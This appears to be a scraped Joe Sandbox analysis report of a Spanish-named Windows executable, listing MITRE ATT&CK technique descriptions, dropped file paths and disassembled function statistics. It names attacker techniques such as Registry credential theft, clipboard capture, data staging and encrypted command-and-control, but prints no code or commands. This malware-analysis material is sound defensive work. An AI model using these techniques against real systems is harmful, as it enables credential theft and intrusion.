Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Godsbanegaardes24.kla

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Orrices.Grs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Yaff.Gla

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\allehelgensdagenes.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\guimbard.pre

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\unministerial.aut

C:\Users\user\AppData\Local\Temp\nsa2F28.tmp

C:\Users\user\AppData\Local\Temp\nsc266B.tmp

C:\Users\user\AppData\Local\Temp\nse2C87.tmp

C:\Users\user\AppData\Local\Temp\nsm3276.tmp

C:\Users\user\AppData\Local\Temp\nsm33FD.tmp

C:\Users\user\AppData\Local\Temp\nsq30BF.tmp

C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll

C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe

Static File Info

General

Windows Analysis Report
CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe

Function 0040344A Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 401
stringfilecomCOMMON

Function 004054B0 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405A03 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00405840 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Function 00403DFE Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403A5B Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402ED5 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Function 00406234 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00405371 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402660 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00401DB3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Function 0040657C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004023EA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Function 004025AE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
stringCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre